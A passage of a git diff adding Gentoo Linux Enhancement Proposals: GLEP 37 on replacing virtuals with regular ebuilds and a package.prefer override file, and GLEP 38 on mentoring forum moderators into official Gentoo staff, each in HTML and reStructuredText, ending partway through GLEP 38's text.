+       http://cvs2svn.tigris.org/cvs2svn.html
+
+Copyright
+=========
+
+This document has been placed in the public domain.
+
diff --git a/xml/htdocs/proj/en/glep/glep-0037.html b/xml/htdocs/proj/en/glep/glep-0037.html
new file mode 100644
index 00000000..638c49e6
--- /dev/null
+++ b/xml/htdocs/proj/en/glep/glep-0037.html
@@ -0,0 +1,242 @@
+<?xml version="1.0" encoding="utf-8" ?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+
+<head>
+  <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+  <meta name="generator" content="Docutils 0.4: http://docutils.sourceforge.net/" />
+  <title>GLEP 37 -- Virtuals Deprecation</title>
+  <link rel="stylesheet" href="tools/glep.css" type="text/css" />
+</head>
+<body bgcolor="white">
+<table class="navigation" cellpadding="0" cellspacing="0"
+       width="100%" border="0">
+<tr><td class="navicon" width="150" height="35">
+<a href="http://www.gentoo.org/" title="Gentoo Linux Home Page">
+<img src="http://www.gentoo.org/images/gentoo-new.gif" alt="[Gentoo]"
+ border="0" width="150" height="35" /></a></td>
+<td class="textlinks" align="left">
+[<b><a href="http://www.gentoo.org/">Gentoo Linux Home</a></b>]
+[<b><a href="http://www.gentoo.org/proj/en/glep">GLEP Index</a></b>]
+[<b><a href="http://www.gentoo.org/proj/en/glep/glep-0037.txt">GLEP Source</a></b>]
+</td></tr></table>
+<table class="rfc2822 docutils field-list" frame="void" rules="none">
+<col class="field-name" />
+<col class="field-body" />
+<tbody valign="top">
+<tr class="field"><th class="field-name">GLEP:</th><td class="field-body">37</td>
+</tr>
+<tr class="field"><th class="field-name">Title:</th><td class="field-body">Virtuals Deprecation</td>
+</tr>
+<tr class="field"><th class="field-name">Version:</th><td class="field-body">1.2</td>
+</tr>
+<tr class="field"><th class="field-name">Last-Modified:</th><td class="field-body"><a class="reference" href="http://www.gentoo.org/cgi-bin/viewcvs.cgi/xml/htdocs/proj/en/glep/glep-0037.txt?cvsroot=gentoo">2006/09/05 20:54:30</a></td>
+</tr>
+<tr class="field"><th class="field-name">Author:</th><td class="field-body">Jason Stubbs &lt;jstubbs&#32;&#97;t&#32;gentoo.org&gt;</td>
+</tr>
+<tr class="field"><th class="field-name">Status:</th><td class="field-body">deferred</td>
+</tr>
+<tr class="field"><th class="field-name">Type:</th><td class="field-body">Standards Track</td>
+</tr>
+<tr class="field"><th class="field-name">Content-Type:</th><td class="field-body"><a class="reference" href="glep-0002.html">text/x-rst</a></td>
+</tr>
+<tr class="field"><th class="field-name">Created:</th><td class="field-body">30-April-2005</td>
+</tr>
+<tr class="field"><th class="field-name">Post-History:</th><td class="field-body">30-April-2005, 5-Sep-2006</td>
+</tr>
+</tbody>
+</table>
+<hr />
+<div class="contents topic">
+<p class="topic-title first"><a id="contents" name="contents">Contents</a></p>
+<ul class="simple">
+<li><a class="reference" href="#status" id="id2" name="id2">Status</a></li>
+<li><a class="reference" href="#credits" id="id3" name="id3">Credits</a></li>
+<li><a class="reference" href="#abstract" id="id4" name="id4">Abstract</a></li>
+<li><a class="reference" href="#motivation" id="id5" name="id5">Motivation</a></li>
+<li><a class="reference" href="#specification" id="id6" name="id6">Specification</a><ul>
+<li><a class="reference" href="#consistency" id="id7" name="id7">Consistency</a></li>
+<li><a class="reference" href="#overrides" id="id8" name="id8">Overrides</a></li>
+</ul>
+</li>
+<li><a class="reference" href="#rationale" id="id9" name="id9">Rationale</a></li>
+<li><a class="reference" href="#backwards-compatibility" id="id10" name="id10">Backwards Compatibility</a></li>
+<li><a class="reference" href="#copyright" id="id11" name="id11">Copyright</a></li>
+</ul>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id2" id="status" name="status">Status</a></h1>
+<p>What has been implemented so far diverges somewhat from what is
+stated in this GLEP.  As such, this GLEP (in its current form)
+has been marked &quot;deferred&quot;.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id3" id="credits" name="credits">Credits</a></h1>
+<p>Most ideas in this GLEP came out of discussion with Thomas de Grenier de
+Latour.  Ciaran McCreesh, Brian Harring and Stephen Bennett have also provided
+help in fleshing out the idea.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id4" id="abstract" name="abstract">Abstract</a></h1>
+<p>This GLEP covers the pitfalls of the current virtuals system, the benefits of
+using regular ebuilds to serve the purpose of virtuals and what needs to be
+supported to make it viable.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id5" id="motivation" name="motivation">Motivation</a></h1>
+<p>The current virtuals system is decentralized; that is there is no way to find
+information about a specific virtual other than to scan all packages for what
+they provide.  There is also no way to tell whether an atom is a virtual or
+not - yes, the &quot;virtual/&quot; prefix could have been used but it isn't which has
+led to its abuse.</p>
+<p>What this means is that portage must scan all installed packages for the
+virtuals they provide, that profiles must provide a default for every single
+virtual that portage might encounter and that every single atom that portage
+processes must be checked against the list of virtuals.  Needless to say that
+this causes quite a performance decrease.</p>
+<p>The current virtuals system also has some other major shortcomings.  The most
+well known case is virtual/jdk and kaffe.  Kaffe-1.1.4 implements the Java 1.4
+API but can not satisfy a package that requires &gt;=virtual/jdk-1.4 because
+kaffe's versioning scheme differs.  (ED: Need to add some more here. ;)</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id6" id="specification" name="specification">Specification</a></h1>
+<p>This GLEP recommends that virtuals become no different to regular packages.
+Specifically, the standard virtual would include the DESCRIPTION, KEYWORDS,
+IUSE and RDEPEND metadata.  An example would be something like this:</p>
+<pre class="literal-block">
+DESCRIPTION=&quot;Java Development Kit 1.4&quot;
+KEYWORDS=&quot;amd64 hppa ia64 ppc ppc64 sparc x86&quot;
+RDEPEND=&quot;|| (
+             =dev-java/blackdown-jdk-1.4\*
+             =dev-java/ibm-jdk-bin-1.4*
+             =dev-java/jrockit-jdk-bin-1.4*
+             =dev-java/kaffe-1.1.4*
+             =dev-java/sun-jdk-1.4*
+            )&quot;
+IUSE=&quot;&quot;
+</pre>
+<p>However, there are some issues that have been brought up with doing this.</p>
+<div class="section">
+<h2><a class="toc-backref" href="#id7" id="consistency" name="consistency">Consistency</a></h2>
+<p>Presently, it is very easy to remove packages even if others are dependent
+on them, which can lead to broken emerges when packages rely on indirect
+dependencies.  For example, if kdelibs is merged bringing in qt and then
+qt is unmerged, attempting to merge kdebase will likely fail.  This becomes
+a much bigger problem with virtuals as packages because the dependencies
+are always indirect.</p>
+<p>The resolution for this issue will be to add full dependency tracking and
+verification to portage.  The details of how it will be done are outside the
+scope of this GLEP, but essentially this means that portage will need to be
+forced to unmerge a package that is depended on by another and will also be
+able to scan and fix any broken dependencies.</p>
+</div>
+<div class="section">
+<h2><a class="toc-backref" href="#id8" id="overrides" name="overrides">Overrides</a></h2>
+<p>Profiles currently specify the default provider of each virtual and users are
+able to override these defaults using /etc/portage/profile/virtuals.  If
+virtuals are replaced by regular packages and thus able to have arbitrarily
+complex DEPENDs, the current method of overriding default virtuals can not
+be extended to support this.</p>
+<p>Before looking at a solution, lets look at how the current system works.  When
+portage initializes, it searches installed packages for available virtuals.
+It then searches profiles and user overrides and adds them to the available
+providers list and/or changes the order of the providers so that overrides are
+listed earlier.  Portage then expands any virtual atom it finds into an OR
+list using the order decided upon at initialization.</p>
+<p>To keep this behaviour available, this GLEP proposes a new file named
+package.prefer.  In its basic form, this is just a list of package names
+ordered by preference.  Portage would use it by reordering the atoms of any
+OR list it processes to fit the order given by package.prefer.  For example,
+if package.prefer contained &quot;dev-java/kaffe&quot; then:</p>
+<pre class="literal-block">
+|| (
+    dev-java/blackdown-jdk
+    dev-java/sun-jdk
+    dev-java/kaffe
+   )
+</pre>
+<p>would be processed as:</p>
+<pre class="literal-block">
+|| (
+    dev-java/kaffe
+    dev-java/blackdown-jdk
+    dev-java/sun-jdk
+   )
+</pre>
+<p>In its basic form, package.prefer already covers profile and user overrides.
+However, this GLEP proposes that any type of atom be usable.  This will be
+accomplished by checking for intersections of the atoms in the OR list and
+atoms in the preferred list.  When an intersection is found, both atoms
+would be specified in a sublist, which would then be treated as a ranged dep.
+For example, if package.prefer contained &quot;&lt;=dev-java/sun-jdk-1.4&quot; then:</p>
+<pre class="literal-block">
+|| (
+    &gt;=dev-java/blackdown-jdk-1.3
+    &gt;=dev-java/sun-jdk-1.3
+   )
+</pre>
+<p>would be processed as:</p>
+<pre class="literal-block">
+|| (
+    (
+      &lt;=dev-java/sun-jdk-1.4
+      &gt;=dev-java/sun-jdk-1.3
+    )
+    &gt;=dev-java/blackdown-jdk-1.3
+    &gt;=dev-java/sun-jdk-1.3
+   )
+</pre>
+<p>Ranged deps are outside of the scope of this GLEP.</p>
+</div>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id9" id="rationale" name="rationale">Rationale</a></h1>
+<p>The number one advantage is that it offers more power to both the user and
+the developer.  Flexibility of virtuals is far greater in this scheme and
+fulfills requirements that exist already.  It also means that the maintainers
+of profiles will not need to list a default for every virtual.  The user
+benefits by being able to easily gather a list of providers of a virtual as
+well as their control being extended to allow selection where there is a
+choice within any package.</p>
+<p>Portage code also benefits from this scheme as virtuals will no longer
+require special handling or dual implementations of essentially the same
+feature, for example USE-based PROVIDEs.  This scheme is also much easier to
+optimize which will benefit the processing of all packages.  It also means
+that any additions to the DEPEND vocabulary become available for use in the
+definitions of virtuals.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id10" id="backwards-compatibility" name="backwards-compatibility">Backwards Compatibility</a></h1>
+<p>Compatibility will begin by making 2.0.51.20 treat unknown virtuals like
+regular packages.  When the tree is stripped of PROVIDEs and &quot;virtuals&quot;
+override files, the only virtuals that these portages will use are those that
+the user has specified and those gleaned from installed packages.  Any
+unknown virtual will be treated like a regular package and looked for in the
+tree.</p>
+<p>The next major version of portage (2.1.0) will support consistency
+checking.  The only remaining issue is that of user overrides.  The old
+method will work even with new style virtuals.  The only catch is that
+complex virtuals - that is virtuals that will install more than one package -
+may not be overridable satisfactorally.</p>
+<p>Dropping of support of current style virtuals is planned for the following
+major version of portage (2.2.0).  When the time comes to release it, scripts
+will be written to create packages from the existing virtuals system as well
+as to create appropriate package.prefer overrides within the profiles.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id11" id="copyright" name="copyright">Copyright</a></h1>
+<p>This document has been placed in the public domain.</p>
+</div>
+
+</div>
+<div class="footer">
+<hr class="footer" />
+<a class="reference" href="glep-0037.txt">View document source</a>.
+Generated on: 2007-10-13 13:39 UTC.
+Generated by <a class="reference" href="http://docutils.sourceforge.net/">Docutils</a> from <a class="reference" href="http://docutils.sourceforge.net/rst.html">reStructuredText</a> source.
+
+</div>
+</body>
+</html>
+
diff --git a/xml/htdocs/proj/en/glep/glep-0037.txt b/xml/htdocs/proj/en/glep/glep-0037.txt
new file mode 100644
index 00000000..079e40c4
--- /dev/null
+++ b/xml/htdocs/proj/en/glep/glep-0037.txt
@@ -0,0 +1,211 @@
+GLEP: 37
+Title: Virtuals Deprecation
+Version: $Revision: 1.2 $
+Last-Modified: $Date: 2006/09/05 20:54:30 $
+Author:	Jason Stubbs <jstubbs@gentoo.org>
+Status: deferred
+Type: Standards Track
+Content-Type: text/x-rst
+Created: 30-April-2005
+Post-History: 30-April-2005, 5-Sep-2006
+
+
+Status
+======
+
+What has been implemented so far diverges somewhat from what is 
+stated in this GLEP.  As such, this GLEP (in its current form)
+has been marked "deferred".
+
+Credits
+=======
+
+Most ideas in this GLEP came out of discussion with Thomas de Grenier de
+Latour.  Ciaran McCreesh, Brian Harring and Stephen Bennett have also provided
+help in fleshing out the idea.
+
+
+Abstract
+========
+
+This GLEP covers the pitfalls of the current virtuals system, the benefits of
+using regular ebuilds to serve the purpose of virtuals and what needs to be
+supported to make it viable.
+
+
+Motivation
+==========
+
+The current virtuals system is decentralized; that is there is no way to find
+information about a specific virtual other than to scan all packages for what
+they provide.  There is also no way to tell whether an atom is a virtual or
+not - yes, the "virtual/" prefix could have been used but it isn't which has
+led to its abuse.
+
+What this means is that portage must scan all installed packages for the
+virtuals they provide, that profiles must provide a default for every single
+virtual that portage might encounter and that every single atom that portage
+processes must be checked against the list of virtuals.  Needless to say that
+this causes quite a performance decrease.
+
+The current virtuals system also has some other major shortcomings.  The most
+well known case is virtual/jdk and kaffe.  Kaffe-1.1.4 implements the Java 1.4
+API but can not satisfy a package that requires >=virtual/jdk-1.4 because
+kaffe's versioning scheme differs.  (ED: Need to add some more here. ;)
+
+
+Specification
+=============
+
+This GLEP recommends that virtuals become no different to regular packages.
+Specifically, the standard virtual would include the DESCRIPTION, KEYWORDS,
+IUSE and RDEPEND metadata.  An example would be something like this::
+
+	DESCRIPTION="Java Development Kit 1.4"
+	KEYWORDS="amd64 hppa ia64 ppc ppc64 sparc x86"
+	RDEPEND="|| (
+	             =dev-java/blackdown-jdk-1.4\*
+	             =dev-java/ibm-jdk-bin-1.4*
+	             =dev-java/jrockit-jdk-bin-1.4*
+	             =dev-java/kaffe-1.1.4*
+	             =dev-java/sun-jdk-1.4*
+	            )"
+	IUSE=""
+
+However, there are some issues that have been brought up with doing this.
+
+
+Consistency
+-----------
+
+Presently, it is very easy to remove packages even if others are dependent
+on them, which can lead to broken emerges when packages rely on indirect
+dependencies.  For example, if kdelibs is merged bringing in qt and then
+qt is unmerged, attempting to merge kdebase will likely fail.  This becomes
+a much bigger problem with virtuals as packages because the dependencies
+are always indirect.
+
+The resolution for this issue will be to add full dependency tracking and
+verification to portage.  The details of how it will be done are outside the
+scope of this GLEP, but essentially this means that portage will need to be
+forced to unmerge a package that is depended on by another and will also be
+able to scan and fix any broken dependencies.
+
+
+Overrides
+---------
+
+Profiles currently specify the default provider of each virtual and users are
+able to override these defaults using /etc/portage/profile/virtuals.  If
+virtuals are replaced by regular packages and thus able to have arbitrarily
+complex DEPENDs, the current method of overriding default virtuals can not
+be extended to support this.
+
+Before looking at a solution, lets look at how the current system works.  When
+portage initializes, it searches installed packages for available virtuals.
+It then searches profiles and user overrides and adds them to the available
+providers list and/or changes the order of the providers so that overrides are
+listed earlier.  Portage then expands any virtual atom it finds into an OR
+list using the order decided upon at initialization.
+
+To keep this behaviour available, this GLEP proposes a new file named
+package.prefer.  In its basic form, this is just a list of package names
+ordered by preference.  Portage would use it by reordering the atoms of any
+OR list it processes to fit the order given by package.prefer.  For example,
+if package.prefer contained "dev-java/kaffe" then:
+
+::
+	
+	|| (
+	    dev-java/blackdown-jdk
+	    dev-java/sun-jdk
+	    dev-java/kaffe
+	   )
+
+would be processed as:
+
+::
+	
+	|| (
+	    dev-java/kaffe
+	    dev-java/blackdown-jdk
+	    dev-java/sun-jdk
+	   )
+
+In its basic form, package.prefer already covers profile and user overrides.
+However, this GLEP proposes that any type of atom be usable.  This will be
+accomplished by checking for intersections of the atoms in the OR list and
+atoms in the preferred list.  When an intersection is found, both atoms
+would be specified in a sublist, which would then be treated as a ranged dep.
+For example, if package.prefer contained "<=dev-java/sun-jdk-1.4" then:
+
+::
+	
+	|| (
+	    >=dev-java/blackdown-jdk-1.3
+	    >=dev-java/sun-jdk-1.3
+	   )
+
+would be processed as:
+
+::
+	
+	|| (
+	    (
+	      <=dev-java/sun-jdk-1.4
+	      >=dev-java/sun-jdk-1.3
+	    )
+	    >=dev-java/blackdown-jdk-1.3
+	    >=dev-java/sun-jdk-1.3
+	   )
+
+Ranged deps are outside of the scope of this GLEP.
+
+
+Rationale
+=========
+
+The number one advantage is that it offers more power to both the user and
+the developer.  Flexibility of virtuals is far greater in this scheme and
+fulfills requirements that exist already.  It also means that the maintainers
+of profiles will not need to list a default for every virtual.  The user
+benefits by being able to easily gather a list of providers of a virtual as
+well as their control being extended to allow selection where there is a
+choice within any package.
+
+Portage code also benefits from this scheme as virtuals will no longer
+require special handling or dual implementations of essentially the same
+feature, for example USE-based PROVIDEs.  This scheme is also much easier to
+optimize which will benefit the processing of all packages.  It also means
+that any additions to the DEPEND vocabulary become available for use in the
+definitions of virtuals.
+
+
+Backwards Compatibility
+=======================
+
+Compatibility will begin by making 2.0.51.20 treat unknown virtuals like
+regular packages.  When the tree is stripped of PROVIDEs and "virtuals"
+override files, the only virtuals that these portages will use are those that
+the user has specified and those gleaned from installed packages.  Any
+unknown virtual will be treated like a regular package and looked for in the
+tree.
+
+The next major version of portage (2.1.0) will support consistency
+checking.  The only remaining issue is that of user overrides.  The old
+method will work even with new style virtuals.  The only catch is that
+complex virtuals - that is virtuals that will install more than one package -
+may not be overridable satisfactorally.
+
+Dropping of support of current style virtuals is planned for the following
+major version of portage (2.2.0).  When the time comes to release it, scripts
+will be written to create packages from the existing virtuals system as well
+as to create appropriate package.prefer overrides within the profiles.
+
+
+Copyright
+=========
+
+This document has been placed in the public domain.
+
+
diff --git a/xml/htdocs/proj/en/glep/glep-0038.html b/xml/htdocs/proj/en/glep/glep-0038.html
new file mode 100644
index 00000000..0ff55ea7
--- /dev/null
+++ b/xml/htdocs/proj/en/glep/glep-0038.html
@@ -0,0 +1,217 @@
+<?xml version="1.0" encoding="utf-8" ?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+
+<head>
+  <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+  <meta name="generator" content="Docutils 0.4: http://docutils.sourceforge.net/" />
+  <title>GLEP 38 -- Status of forum moderators in the Gentoo project</title>
+  <link rel="stylesheet" href="tools/glep.css" type="text/css" />
+</head>
+<body bgcolor="white">
+<table class="navigation" cellpadding="0" cellspacing="0"
+       width="100%" border="0">
+<tr><td class="navicon" width="150" height="35">
+<a href="http://www.gentoo.org/" title="Gentoo Linux Home Page">
+<img src="http://www.gentoo.org/images/gentoo-new.gif" alt="[Gentoo]"
+ border="0" width="150" height="35" /></a></td>
+<td class="textlinks" align="left">
+[<b><a href="http://www.gentoo.org/">Gentoo Linux Home</a></b>]
+[<b><a href="http://www.gentoo.org/proj/en/glep">GLEP Index</a></b>]
+[<b><a href="http://www.gentoo.org/proj/en/glep/glep-0038.txt">GLEP Source</a></b>]
+</td></tr></table>
+<table class="rfc2822 docutils field-list" frame="void" rules="none">
+<col class="field-name" />
+<col class="field-body" />
+<tbody valign="top">
+<tr class="field"><th class="field-name">GLEP:</th><td class="field-body">38</td>
+</tr>
+<tr class="field"><th class="field-name">Title:</th><td class="field-body">Status of forum moderators in the Gentoo project</td>
+</tr>
+<tr class="field"><th class="field-name">Version:</th><td class="field-body">1.5</td>
+</tr>
+<tr class="field"><th class="field-name">Last-Modified:</th><td class="field-body"><a class="reference" href="http://www.gentoo.org/cgi-bin/viewcvs.cgi/xml/htdocs/proj/en/glep/glep-0038.txt?cvsroot=gentoo">2005/10/17 17:53:05</a></td>
+</tr>
+<tr class="field"><th class="field-name">Author:</th><td class="field-body">Christian Hartmann &lt;christian.hartmann at email.de&gt;,
+Wernfried Haas &lt;w.haas at xover.htu.tuwien.ac.at&gt;,
+Tom Knight &lt;tomk at gentoo.org&gt;.</td>
+</tr>
+<tr class="field"><th class="field-name">Status:</th><td class="field-body">Final</td>
+</tr>
+<tr class="field"><th class="field-name">Type:</th><td class="field-body">Informational</td>
+</tr>
+<tr class="field"><th class="field-name">Content-Type:</th><td class="field-body"><a class="reference" href="glep-0002.html">text/x-rst</a></td>
+</tr>
+<tr class="field"><th class="field-name">Created:</th><td class="field-body">06-May-2005</td>
+</tr>
+<tr class="field"><th class="field-name">Post-History:</th><td class="field-body">17-Jun-2005, 28-Jun-2005, 17-Oct-2005</td>
+</tr>
+</tbody>
+</table>
+<hr />
+<div class="contents topic">
+<p class="topic-title first"><a id="contents" name="contents">Contents</a></p>
+<ul class="simple">
+<li><a class="reference" href="#abstract" id="id11" name="id11">Abstract</a></li>
+<li><a class="reference" href="#motivation" id="id12" name="id12">Motivation</a></li>
+<li><a class="reference" href="#specification" id="id13" name="id13">Specification</a></li>
+<li><a class="reference" href="#rationale" id="id14" name="id14">Rationale</a></li>
+<li><a class="reference" href="#backwards-compatibility" id="id15" name="id15">Backwards Compatibility</a></li>
+<li><a class="reference" href="#reference-implementation" id="id16" name="id16">Reference Implementation</a></li>
+<li><a class="reference" href="#id1" id="id17" name="id17">References</a></li>
+<li><a class="reference" href="#copyright" id="id18" name="id18">Copyright</a></li>
+</ul>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id11" id="abstract" name="abstract">Abstract</a></h1>
+<p>Global moderators and site admins should also go through the mentoring process
+and become official Gentoo staff.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id12" id="motivation" name="motivation">Motivation</a></h1>
+<p>At the time of writing the forums are apart from the recruiting process and
+people helping out there are not made an official part of Gentoo. This GLEP
+aims on creating and establishing a recruitment and mentoring process for
+moderators and site admins of forums.gentoo.org. By doing this we hopefully
+achieve a (even) better moderation quality and stop the complaints about
+moderators not being staff. Moderators and site admins do not need cvs
+access.</p>
+<p>Moderators and site admins are doing a hard job for the community as well as all
+the other projects do but they get no voice in the gentoo internals. Recent events
+such as the election of trustees or the new metastructure poll are effectively
+affecting the forums, so the wish to be part of the decision as an equal member
+is present among the moderators.</p>
+<p>Moderators are often a contact person between users and developers, so we
+should try to improve the communication between these two groups of people. As
+moderators are pretty much exposed to the public (forums users, but also used
+as contact person for requests that should go to the PR department or the
+trustees) they need to have some knowledge about Gentoo's internal structure
+as well as contact to the other developers.</p>
+<p>The current training process for new moderators works pretty well even though
+there are no official guidelines how to do it. As part of this proposal a more
+detailed procedure for the training process will be established to make it
+more reproducable. It also gives us the possibility to document the things
+happening already today in the current training process.</p>
+<p>The status of the Gentoo Forums has been undefined for quite some time. Since
+it is using the gentoo.org domain it should be considered an official project.
+People working on an official project should be developers or staff following Gentoo's
+general policy. At the moment the persons with direct access to the database
+are developers. Being moderator could be considered an improved forums rank
+that does not have impact on Gentoo's infrastructure, but since moderators and
+administrators are able to delete, move and edit posts on the forum willingly,
+their level of access should be considered developer like. Many users may not
+be aware of the difference between moderators and developers, so the actions of a
+moderator may represent Gentoo Linux to them anyway.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id13" id="specification" name="specification">Specification</a></h1>
+<p>To obtain a certain kind of quality assurance and to (create and) ensure that
+upcoming moderators know about the forums guidelines a document and processes
+will have to be created and established that the recruits need to follow.
+This document (called <a class="reference" href="http://www.gentoo.org/proj/en/forums/forum-guide.xml">Moderators handbook/FAQ</a> <a class="footnote-reference" href="#id2" id="id3" name="id3">[1]</a>) will include the moderation guidelines
+as they are currently available in the moderators forum plus a FAQ that was created as
+a possible candidate for a forums-quiz. The guidelines and the FAQ should help the
+moderator to get some general information about how to moderate the forums.</p>
+<p>Suggested procedure for becoming global moderator: Existing moderators can
+suggest a user to become a moderator. The ability of the new moderator to
+deal with people in a kind way and to detect misplaced posts, etc usually
+also has been reviewed by the other moderators already since they can read
+their previous posts and suggestions in the forums feedback threads. If they
+accept, they will become moderator on the forums. A bug will be filed on
+b.g.o containing information about the new moderator. Afterwards they must
+answer the staff quiz that will be revisited by devrel. The quiz then will
+be sent to <a class="reference" href="mailto:recruiters&#64;g.o">recruiters&#64;g.o</a> for revision. Becoming staff member is not
+optional, but mandatory.</p>
+<p>The first month is supposed to be a test period, if the moderator
+does not do anything in that time or messes up in another way, they will be
+restored to their old user status. The mentor(s) and everyone of the forums team
+are encouraged to help the new moderator if they are unsure how to deal with a
+situation.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id14" id="rationale" name="rationale">Rationale</a></h1>
+<p>The process of aquiring new developers seems to work for the rest of Gentoo
+Linux quite well. A mentoring system has been chosen since new moderators were
+mentored unofficially by the other moderators anyway. This means more or less
+writing down things that have been done already.
+It was discussed to add a forums-specific quiz to the process of aquiring new
+moderators.
+Devrel's standing on that is that it is up to the moderators how a new moderator is
+chosen. Since the old process worked fine so far and some people among the moderators
+didn't exactly like the idea of a quiz, we chose not to make one. A document containing the
+questions collected for the quiz in form of a FAQ together with the moderation
+guidelines seems to be a more feasible approach. The new moderators are supposed to
+read the FAQ as well as they had to take a quiz, so they will learn the information
+given in this document.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id15" id="backwards-compatibility" name="backwards-compatibility">Backwards Compatibility</a></h1>
+<p>Moderators who are currently inactive (Bodhisattva status) should be
+considered akin to retired developers and will have to take the staff quiz
+if they return to moderation activities. New moderators should have to go
+through the mentoring process in any case as stated above.</p>
+<p>Moderators in national forums: In our internal discussion it turned out that not
+all moderators in the national forums are able to speak english well, which
+would be a requirement to become a staff member. We decided that it would
+counter productive to make it mandatory for them. Becoming a staff member is
+optional for these moderators.</p>
+<p>As a side effect of the discussion about the glep among the moderators
+as well as in discussions with other developers and devrel, it turned
+out that the forums have never been assigned to a toplevel project in the
+general organization of the Gentoo project. Forums don't really seem to fit
+into one of the current categories as they are related to the infrastructure
+and the documentation project. We suggest putting it in the other category
+or making a separate one for the forums.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id16" id="reference-implementation" name="reference-implementation">Reference Implementation</a></h1>
+<ul class="simple">
+<li><a class="reference" href="http://www.gentoo.org/proj/en/forums/forum-guide.xml">Moderators handbook/FAQ</a> <a class="footnote-reference" href="#id2" id="id4" name="id4">[1]</a></li>
+<li><a class="reference" href="http://www.gentoo.org/proj/en/devrel/handbook/handbook.xml?part=1&amp;chap=2">Becoming a developer</a> <a class="footnote-reference" href="#id5" id="id6" name="id6">[2]</a></li>
+<li><a class="reference" href="http://www.gentoo.org/proj/en/devrel/quiz/staff-quiz.txt">Staff quiz</a> <a class="footnote-reference" href="#id7" id="id8" name="id8">[3]</a></li>
+<li><a class="reference" href="http://thread.gmane.org/gmane.linux.gentoo.devel/28985">Thread on gentoo-dev</a> <a class="footnote-reference" href="#id9" id="id10" name="id10">[4]</a></li>
+</ul>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id17" id="id1" name="id1">References</a></h1>
+<table class="docutils footnote" frame="void" id="id2" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a name="id2">[1]</a></td><td><em>(<a class="fn-backref" href="#id3">1</a>, <a class="fn-backref" href="#id4">2</a>)</em> <a class="reference" href="http://www.gentoo.org/proj/en/forums/forum-guide.xml">http://www.gentoo.org/proj/en/forums/forum-guide.xml</a></td></tr>
+</tbody>
+</table>
+<table class="docutils footnote" frame="void" id="id5" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a class="fn-backref" href="#id6" name="id5">[2]</a></td><td><a class="reference" href="http://www.gentoo.org/proj/en/devrel/handbook/handbook.xml?part=1&amp;chap=2">http://www.gentoo.org/proj/en/devrel/handbook/handbook.xml?part=1&amp;chap=2</a></td></tr>
+</tbody>
+</table>
+<table class="docutils footnote" frame="void" id="id7" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a class="fn-backref" href="#id8" name="id7">[3]</a></td><td><a class="reference" href="http://www.gentoo.org/proj/en/devrel/quiz/staff-quiz.txt">http://www.gentoo.org/proj/en/devrel/quiz/staff-quiz.txt</a></td></tr>
+</tbody>
+</table>
+<table class="docutils footnote" frame="void" id="id9" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a class="fn-backref" href="#id10" name="id9">[4]</a></td><td><a class="reference" href="http://thread.gmane.org/gmane.linux.gentoo.devel/28985">http://thread.gmane.org/gmane.linux.gentoo.devel/28985</a></td></tr>
+</tbody>
+</table>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id18" id="copyright" name="copyright">Copyright</a></h1>
+<p>This document has been placed in the public domain.</p>
+</div>
+
+</div>
+<div class="footer">
+<hr class="footer" />
+<a class="reference" href="glep-0038.txt">View document source</a>.
+Generated on: 2007-10-13 13:39 UTC.
+Generated by <a class="reference" href="http://docutils.sourceforge.net/">Docutils</a> from <a class="reference" href="http://docutils.sourceforge.net/rst.html">reStructuredText</a> source.
+
+</div>
+</body>
+</html>
+
diff --git a/xml/htdocs/proj/en/glep/glep-0038.txt b/xml/htdocs/proj/en/glep/glep-0038.txt
new file mode 100644
index 00000000..b12ab880
--- /dev/null
+++ b/xml/htdocs/proj/en/glep/glep-0038.txt
@@ -0,0 +1,146 @@
+GLEP: 38
+Title: Status of forum moderators in the Gentoo project
+Version: $Revision: 1.5 $
+Last-Modified: $Date: 2005/10/17 17:53:05 $
+Author:	Christian Hartmann <christian.hartmann at email.de>,
+	Wernfried Haas <w.haas at xover.htu.tuwien.ac.at>,
+	Tom Knight <tomk at gentoo.org>.
+Status: Final
+Type: Informational
+Content-Type: text/x-rst
+Created: 06-May-2005
+Post-History: 17-Jun-2005, 28-Jun-2005, 17-Oct-2005
+
+
+Abstract
+========
+
+Global moderators and site admins should also go through the mentoring process
+and become official Gentoo staff.
+
+Motivation
+==========
+
+At the time of writing the forums are apart from the recruiting process and 
+people helping out there are not made an official part of Gentoo. This GLEP
+aims on creating and establishing a recruitment and mentoring process for
+moderators and site admins of forums.gentoo.org. By doing this we hopefully
+achieve a (even) better moderation quality and stop the complaints about
+moderators not being staff. Moderators and site admins do not need cvs
+access.
+
+Moderators and site admins are doing a hard job for the community as well as all
+the other projects do but they get no voice in the gentoo internals. Recent events
+such as the election of trustees or the new metastructure poll are effectively
+affecting the forums, so the wish to be part of the decision as an equal member 
+is present among the moderators.
+
+Moderators are often a contact person between users and developers, so we
